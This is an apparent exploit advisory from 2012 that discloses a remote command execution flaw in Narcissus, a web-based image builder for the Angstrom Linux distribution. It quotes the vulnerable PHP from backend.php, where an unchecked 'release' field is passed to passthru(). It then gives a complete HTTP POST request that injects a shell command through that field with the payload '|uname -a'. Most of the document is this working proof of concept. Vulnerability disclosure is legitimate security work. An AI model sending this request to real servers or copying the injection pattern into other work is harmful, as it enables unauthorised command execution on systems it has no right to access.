Narcissus Remote Command Execution

`:::::::-. ... ::::::. :::.  
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[ Discovered by dun \ posdub[at]gmail.com ]  
[ 2012-11-13 ]  
##########################################################  
# [ Narcissus ] Remote Command Execution Vulnerability #  
##########################################################  
#  
# Script: "Narcissus - Online image builder for the angstrom distribution"  
#  
# Vendor: http://www.angstrom-distribution.org/  
# Download: https://github.com/Angstrom-distribution/narcissus  
#  
# Vendor was informed some time ago, but did not respond yet.  
#  
##########################################################  
#  
# [ Remote Command Execution ]  
#  
# File: /narcissus/backend.php ( lines: 10-183 ):  
# ..cut..  
# if (isset($_POST["action"]) && $_POST["action"] != "") {  
# $action = $_POST["action"]; // 1  
# } else {  
# print "Invalid action: $action";  
# exit;  
# }  
#  
# if (isset($_POST["machine"])) {  
# $machine = escapeshellcmd(basename($_POST["machine"])); // 2  
# } else {  
# print "Invalid machine";  
# exit;  
# }  
# ..cut..  
# if (isset($_POST["release"]) && $_POST["release"] != "") {  
# $release = $_POST["release"]; // 3  
# } else {  
# $release = "stable";  
# }  
# ..cut..  
# switch($action) {  
# ..cut..  
# case "configure_image": // 4  
# print "configuring\n";  
# configure_image($machine, $name, $release); // 5  
# break;  
# ..cut..  
# function configure_image($machine, $name, $release) {  
# print "Machine: $machine, name: $name\n";  
# passthru ("scripts/configure-image.sh $machine $name-image $release && exit"); // 6 [RCE]  
# }  
# ..cut..  
#  
# Vuln:  
# http://localhost/narcissus/backend.php  
#  
# POST /narcissus/backend.php HTTP/1.1  
# Host: localhost  
# User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/16.0  
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
# Accept-Language: pl,en-us;q=0.7,en;q=0.3  
# Accept-Encoding: gzip, deflate  
# Connection: keep-alive  
# Content-Type: application/x-www-form-urlencoded  
# Content-Length: 50  
# machine=0&action=configure_image&release=|uname -a  
#  
### [ dun / 2012 ] #######################################  
  
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